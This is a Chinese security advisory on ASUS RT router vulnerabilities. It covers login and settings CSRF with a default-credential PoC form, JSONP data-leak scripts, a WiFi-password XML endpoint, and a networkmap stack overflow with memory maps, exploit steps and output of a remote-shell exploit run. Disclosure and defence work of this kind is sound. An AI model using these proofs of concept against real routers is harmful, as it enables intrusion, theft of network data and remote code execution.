导语:华硕RT路由器存在CSRF漏洞,允许恶意站点登录和更改路由器中的设置,多个JSONP漏洞泄露敏感信息,XML页面显示WiFi密码。

简述

近日,有安全研究员发现华硕RT路由器存在CSRF漏洞,允许恶意站点登录和更改路由器中的设置;多个JSONP漏洞泄露敏感信息,XML页面显示WiFi密码。

大部分这些问题已经由华硕在3月2017固件更新(v3.0.0.4.380.7378)中修复。一个问题(JSONP信息披露)仍然不确定,因为供应商不认为它是安全威胁。CVE-2017-5891已被分配到CSRF问题,CVE-2017-5892涉及非CSRF问题。[ADDED 05/10/2017:如下面的评论者所报道,4G-AC55U也受到影响,但没有可用的补丁。]

漏洞详细信息

像其他路由器一样,华硕的RT路由器带有可通过本地网络访问的内置Web界面,但通常无法通过Internet访问。我们发现web页面存在多个安全问题,在同一网络上的用户访问恶意站点或者运行恶意的应用程序可进行攻击路由器。

CSRF漏洞,用户可以尝试登录来更改路由器配置信息。
JSONP漏洞,网站上定义了匹配的函数名称,就可以通过SCRIP加载JSONP页面。
XML信息泄露漏洞,此页面需要移动或桌面应用程序才能利用。

注意:所有攻击都需要知道路由器的本地IP地址。可以通过JavaScript API(如WebRTC)来获取。

问题#1 – 登录页面CSRF

路由器的登录页面没有任何类型的CSRF保护,因此允许恶意网站在用户不知情的情况下向路由器提交登录请求。显然,这只有在网站知道路由器的用户名和密码或用户没有更改默认凭据(“admin / admin”)的情况下才起作用。要利用,请将base-64编码的用户名和密码作为“ login_authorization”表单提交到浏览器的“/login.cgi”URL。

POC:使用默认密码

  <form action =“http://192.168.1.1/login.cgi”method =“post”target =“_ blank”>
  <input name =“login_authorization”type =“text” value =“YWRtaW46YWRtaW4 =”/>
  <input type =“submit”/> </ form>

问题#2 -配置(设置)信息csrf

登录后的每个页面没有csr保护,这意味着,一旦访问恶意网站进行登陆,如上所述,可以在用户不知情的情况下更改路由器中的任何设置。

问题#3 – JSONP信息泄露(无需登录)

/findasus.json
       返回路由器型号名称,SSID名称和路由器的本地IP地址
       iAmAlive([{model?Name:“XXX”,ssid:“YYY”,ipAddr:“ZZZZ”}])
/httpd_check.json
       返回:{“alive”:1,“isdomain”:0}

漏洞代码如下:

  function iAmAlive(payload) {
  window.alert("Result returned: " + JSON.stringify(payload));
}
function alert1() {
  var script = document.createElement('script');
  script.src = 'http://192.168.1.1/findasus.json'
  document.getElementsByTagName('head')[0].appendChild(script);
}
function alert2() {
  var script = document.createElement('script');
  script.src = 'http://192.168.1.1/httpd_check.json'
  document.getElementsByTagName('head')[0].appendChild(script);
}

问题#4 – JSONP信息泄露(需登录)

在路由器接口中存在多个可显示路由器中各种数据的JSONP页面。

以下是漏洞页面和漏洞代码:

/status.asp - 网络信息
 function getstatus() {
    var script = document.createElement('script');
    script.src = 'http://192.168.1.1/status.asp'
    document.getElementsByTagName('head')[0].appendChild(script);
}
function show_wanlink_info() {
    var obj = {};
    obj.status = wanlink_status();
    obj.statusstr = wanlink_statusstr();
    obj.wanlink_type = wanlink_type();
    obj.wanlink_ipaddr = wanlink_ipaddr();
    obj.wanlink_xdns = wanlink_xdns();
    window.alert(JSON.stringify(obj));
}
<br/>
<button onClick="getstatus()">Load Status script</button>
<button onClick="show_wanlink_info()">Show wanlink info</button>
<br/><br/>
/wds_aplist_2g.asp - 附近wifi,2.4 Ghz频段
/wds_aplist_5g.asp - 附近wifi,5 Ghz频段
 function getwds_2g() {
    var script = document.createElement('script');
    script.src = 'http://192.168.1.1/wds_aplist_2g.asp'
    document.getElementsByTagName('head')[0].appendChild(script);
}
function getwds_5g() {
    var script = document.createElement('script');
    script.src = 'http://192.168.1.1/wds_aplist_5g.asp'
    document.getElementsByTagName('head')[0].appendChild(script);
}
<br/>
<button onClick="getwds_2g()">Load 2G info</button>
<button onClick="getwds_5g()">Load 5G info</button>
<button onClick="window.alert(JSON.stringify(wds_aplist))">Show AP info</button>
<br/><br/>
/update_networkmapd.asp 设备的网络映射
  function getmap() {
    var script = document.createElement('script');
    script.src = 'http://192.168.1.1/update_networkmapd.asp'
    document.getElementsByTagName('head')[0].appendChild(script);
}
<br/>
<button onClick="getmap()">Load Network map</button>
<button onClick="window.alert(JSON.stringify(fromNetworkmapd))">Show Map</button>
<br/><br/>
/update_clients.asp  原始数据
function getorigin() {
    originData = [];
    var script = document.createElement('script');
    script.src = 'http://192.168.1.1/update_clients.asp'
    document.getElementsByTagName('head')[0].appendChild(script);
}
<br/>
<button onClick="getorigin()">Load Origin</button>
<button onClick="window.alert(JSON.stringify(originData))">Show Origin</button>
/get_real_ip.asp   外部IP地址
function getrealip() {
    var script = document.createElement('script');
    script.src = 'http://192.168.1.1/get_real_ip.asp'
    document.getElementsByTagName('head')[0].appendChild(script);
}
<br/>
<button onClick="getrealip()">Load IP</button>
<button onClick="window.alert(JSON.stringify(wan0_realip_ip))">Show IP</button>
/get_webdavInfo.asp  WebDAV信息
 function getwebdav() {
    var script = document.createElement('script');
    script.src = 'http://192.168.1.1/get_webdavInfo.asp';
    document.getElementsByTagName('head')[0].appendChild(script);
}
<br/>
<button onClick="getwebdav()">Load WebDav</button>
<button onClick="window.alert(JSON.stringify(pktInfo))">Show Info 1</button>
<button onClick="window.alert(JSON.stringify(webdavInfo))">Show Info 1</button>
<br/><br/>

问题#5 – XML页面显示WiFi密码

路由器中存在一个XML页面,显示WiFi密码,但是为了利用此漏洞,需要在本地网络上运行移动或桌面应用程序,因为XML不能在浏览器中加载。该端点可以在以下URL访问,需要登录:

[router IP]/WPS_info.xml

问题#6 – 远程代码执行

组件:networkmap

CVE:CVE-2017-6548

networkmap负责生成客户端连接到路由器的地图。它连续监视LAN以检测未知计算机提交的ARP请求。当出现新的MAC地址时,它将探测相关的IP地址,用于运行打印机共享,http服务器和iTunes服务器等服务。

这是通过发送组播SSP发现来实现的:

M-SEARCH * HTTP/1.1
HOST: 239.255.255.250:1900
ST:upnp:rootdevice
MAN:"ssdp:discover"
MX:3

然后,设备可以响应指示iTunes服务的位置的消息。

HTTP/1.1 200 OK

Location:HTTP://host:port/path

漏洞细节

该功能process_device_repsonse负责解析SSDP答案

/************************************************************************************************/
// process the device response "HTTP/1.1 200 OK"
int process_device_response(char *msg)
{
        char *line, *body, *p;                  // temporary variables
        char *location = NULL;                  // the LOCATION: header
        char host[16], port[6];                 // the ip and port of the device
        ushort destport;                        // the integer type of device port
        char *data = NULL;                      // the data in packet
        int http_fd;                            // the http socket fd
        int nbytes;                             // recv number
        int i;
        char *descri = NULL;
        int len;
struct timeval timeout={10, 0};
        //search "rnrn" or "rn" first appear place and judge whether msg have blank.
        if( (body = strstr(msg, "rnrn")) != NULL)
                body +=4;
        else if ( (body = strstr(msg, "rn")) != NULL)
                body +=2;
        else
                return 0;
                                                                                                                                             
        p = msg;
        // find the LOCATION information.
        while( p!= NULL && p < body)
        {
                line = strsep(&p, "rn");      //divide up string
                if((strncmp(line, "LOCATION:", 9) == 0) || (strncmp(line, "Location:", 9) == 0))
                {
                        location = strip_chars(&line[9], "t");
                        location = strip_chars(&line[9], " ");
                        break;
                }
        }
        NMP_DEBUG_F("UPnP location=%sn", location);
        //fprintf(fp_upnp, "UPnP location=%sn", location);//Yau                                                                                                                                     
        // get the destination ip
        location += 7;
i = 0;
while( (*location != ':') && (*location != '/')) {
                host[i] = *location++;
i++;
}
        host[i] = '';
        //get the destination port
        if(*location == ':') {
            for(location++, i =0; *location != '/'; i++)
                port[i] = *location++;
            port[i] = '';
            destport = (ushort)atoi(port);
}
else
destport = 80;

它在主机和端口的解析代码中包含多个缓冲区溢出。这种基于堆栈的溢出可用于networkmap通过覆盖$pc存储在堆栈上的保存来获得对控制流的控制。

解析此消息:

HTTP/1.1 200 OK
Location:HTTP://AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/

将溢出host[16]并导致$pc被设定0x41414141为进一步剥削的起点。为了漏洞利用,我们收集了系统的更多信息。

基础信息

ASUSWRT基于运行在一个小端MIPS CPU上的Linux。networkmap当设备启动时,易受攻击的程序将自动启动,并且watchdog如果进程崩溃则另外重新启动该程序。

# cat /proc/cpuinfo 
system type     : MT7620
processor       : 0
cpu model       : MIPS 24Kc V5.0
BogoMIPS        : 386.04
wait instruction    : yes
microsecond timers  : yes
tlb_entries     : 32
extra interrupt vector  : yes
hardware watchpoint : yes, count: 4, address/irw mask: [0x0000, 0x0ff8, 0x0ff8, 0x0ff8]
ASEs implemented    : mips16 dsp
shadow register sets    : 1
core            : 0
VCED exceptions     : not available
VCEI exceptions     : not available
# ps
  PID USER       VSZ STAT COMMAND
    1 admin     3940 S    /sbin/init
    2 admin        0 SW   [kthreadd]
    3 admin        0 SW   [ksoftirqd/0]
    4 admin        0 SW   [kworker/0:0]
    5 admin        0 SW   [kworker/u:0]
    6 admin        0 SW<  [khelper]
    7 admin        0 SW   [sync_supers]
    8 admin        0 SW   [bdi-default]
    9 admin        0 SW<  [kintegrityd]
   10 admin        0 SW<  [kblockd]
   11 admin        0 SW   [kswapd0]
   12 admin        0 SW   [fsnotify_mark]
   13 admin        0 SW<  [crypto]
   17 admin        0 SW   [mtdblock0]
   18 admin        0 SW   [mtdblock1]
   19 admin        0 SW   [mtdblock2]
   20 admin        0 SW   [mtdblock3]
   21 admin        0 SW   [mtdblock4]
   22 admin        0 SW   [mtdblock5]
   23 admin        0 SW   [kworker/u:1]
   30 admin        0 SW   [kworker/0:1]
   41 admin      660 S    hotplug2 --persistent --no-coldplug
   76 admin     3924 S    console
   78 admin     1276 S    /sbin/syslogd -m 0 -S -O /tmp/syslog.log -s 256 -l 6
   80 admin     1276 S    /sbin/klogd -c 5
   82 admin     1292 S    /bin/sh
  115 admin        0 SW   [RtmpCmdQTask]
  116 admin        0 SW   [RtmpWscTask]
  135 admin        0 SW   [RtmpCmdQTask]
  136 admin        0 SW   [RtmpWscTask]
  164 admin     3932 S    /sbin/wanduck
  168 admin     1128 S    dropbear -p 192.168.1.1:22 -a
  175 admin     3932 S    wpsaide
  189 nobody    1056 S    dnsmasq --log-async
  194 admin     2588 S    avahi-daemon: running [RT-AC53-B8F4.local]
  196 admin     4112 S    httpd -i br0
  197 admin     1068 S    /usr/sbin/infosvr br0
  199 admin     3932 S    watchdog
  201 admin     2180 S    rstats
  210 admin     1160 S    lld2d br0
  211 admin     3932 S    ots
  224 admin      800 S    miniupnpd -f /etc/upnp/config
  229 admin     1284 S    /sbin/udhcpc -i vlan2 -p /var/run/udhcpc0.pid -s /tmp/udhcpc -O33 -O249
  302 admin     1152 S    dropbear -p 192.168.1.1:22 -a
  303 admin     1300 S    -sh
  344 admin     1128 S    networkmap
  359 admin     1280 R    ps
# uname -a
   Linux (none) 2.6.36 #1 Fri Sep 23 12:05:55 CST 2016 mips GNU/Linux

networkmap分析存储器映射以继续利用该设备。

# cat /proc/$(pidof networkmap)/maps
00400000-0040b000 r-xp 00000000 1f:04 270        /usr/sbin/networkmap
0041a000-0041b000 rw-p 0000a000 1f:04 270        /usr/sbin/networkmap
0041b000-0041f000 rwxp 00000000 00:00 0          [heap]
2b893000-2b894000 rw-p 00000000 00:00 0 
2b894000-2b89a000 r-xp 00000000 1f:04 828        /lib/ld-uClibc.so.0
2b89a000-2b8a0000 rw-s 00000000 00:04 0          /SYSV000003e9 (deleted)
2b8a0000-2b8a4000 rw-s 00000000 00:04 32769      /SYSV000003ea (deleted)
2b8a9000-2b8aa000 r--p 00005000 1f:04 828        /lib/ld-uClibc.so.0
2b8aa000-2b8ab000 rw-p 00006000 1f:04 828        /lib/ld-uClibc.so.0
2b8ab000-2b8d9000 r-xp 00000000 1f:04 258        /usr/lib/libshared.so
2b8d9000-2b8e8000 ---p 00000000 00:00 0 
2b8e8000-2b8eb000 rw-p 0002d000 1f:04 258        /usr/lib/libshared.so
2b8eb000-2b8ed000 rw-p 00000000 00:00 0 
2b8ed000-2b8ef000 r-xp 00000000 1f:04 235        /usr/lib/libnvram.so
2b8ef000-2b8ff000 ---p 00000000 00:00 0 
2b8ff000-2b900000 rw-p 00002000 1f:04 235        /usr/lib/libnvram.so
2b900000-2b90e000 r-xp 00000000 1f:04 760        /lib/libgcc_s.so.1
2b90e000-2b91e000 ---p 00000000 00:00 0 
2b91e000-2b91f000 rw-p 0000e000 1f:04 760        /lib/libgcc_s.so.1
2b91f000-2b95a000 r-xp 00000000 1f:04 827        /lib/libc.so.0
2b95a000-2b96a000 ---p 00000000 00:00 0 
2b96a000-2b96b000 rw-p 0003b000 1f:04 827        /lib/libc.so.0
2b96b000-2b96f000 rw-p 00000000 00:00 0 
2b970000-2b97f000 r--s 03eb0000 00:0c 78         /dev/nvram
7f8a7000-7f8c8000 rwxp 00000000 00:00 0          [stack]
7fff7000-7fff8000 r-xp 00000000 00:00 0          [vdso]

获取到信息:

部分ASLR被激活:

1.堆栈地址是随机的
2.图书馆地址是随机的
3.程序地址不是随机的
4.堆地址不是随机的

没有Stack-Protector

1.堆和堆都被映射为可执行文件

2.二进制包含几乎没有适合构建ROP链的小工具

漏洞利用:

最后的漏洞利用包括以下步骤:

1. 启动一个提供shellcode的网络服务器

2. 监听路由器发送的组播UDP消息

3. 数据库清理/崩溃:使堆布局可预测

随机MAC地址
发送消息:跳转到删除networkmap数据库并崩溃的小工具
networkmap将重新启动

4. 喷灌堆1,2:

 随机MAC地址

 发送消息:包含Web服务器的IP +端口

 networkmap 将收到shellcode并将其存储在堆上

5. 启动有效载荷

 随机MAC地址

 发送消息:跳到包含shellcode的堆地址

6. 连接到打开的外壳

有关详细信息,请查看完整的漏洞:networkmap-pwn.py

例:

 # ./networkmap-pwn.py
[-] starting webserver
[-] received SSP discovery
[-] clearing database and crashing
[-] received SSP discovery
[-] spraying heap 1/2
[-] got shellcode request
[-] sending shellcode
[-] received SSP discovery
[-] spraying heap 2/2
[-] received SSP discovery
[-] starting payload
[-] try to connect to shell
[-] try to connect to shell
[+] connected
Linux (none) 2.6.36 #1 Fri Sep 23 12:05:55 CST 2016 mips GNU/Linux
[+] pwned

减缓措施/供应商回应

用户应更改默认凭据并应用华硕发布的最新固件版本v3.0.0.4.380.7378或更高版本(除了没有可用补丁的4G-AC55U)。

受影响的型号包括以下华硕路由器,并不详尽:

4G-AC55U - [ADDED 05/10/2017:如下面的评论者所报道,4G-AC55U也受到影响,但没有可用的补丁]
RT-AC51U
RT-AC52U B1 - [ADDED 05/10/2017基于华硕固件更新]
RT-AC53 - [ADDED 05/10/2017基于华硕固件更新]
RT-AC53U
RT-AC55U
RT-AC56R
RT-AC56S
RT-AC56U
RT-AC66U
RT-AC68U
RT-AC68UF - [ADDED 05/10/2017基于华硕固件更新]
RT-AC66R
RT-AC66U
RT-AC66W
RT-AC68W
RT-AC68P
RT-AC68R
RT-AC68U
RT-AC87R
RT-AC87U
RT-AC88U - [ADDED 05/10/2017基于华硕固件更新]
RT-AC1200 - [ADDED 05/10/2017基于华硕固件更新]
RT-AC1750 - [ADDED 05/10/2017基于华硕固件更新]
RT-AC1900P
RT-AC3100
RT-AC3200
RT-AC5300
RT-N11P
RT-N12(仅限D1版)
RT-N12 +
RT-N12E
RT-N16 - [ADDED 05/10/2017基于华硕固件更新]
RT-N18U
RT-N56U
RT-N66R
RT-N66U(仅限B1版)
RT-N66W
RT-N300 - [ADDED 05/10/2017基于华硕固件更新]
RT-N600 - [ADDED 05/10/2017基于华硕固件更新]

参考

CVE-ID:CVE-2017-5891CVE-2017-5892

源链接

Hacking more

...